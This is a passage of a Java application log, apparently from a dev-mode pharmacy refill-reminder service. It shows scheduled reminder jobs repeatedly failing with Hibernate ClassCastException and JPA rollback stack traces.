NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at 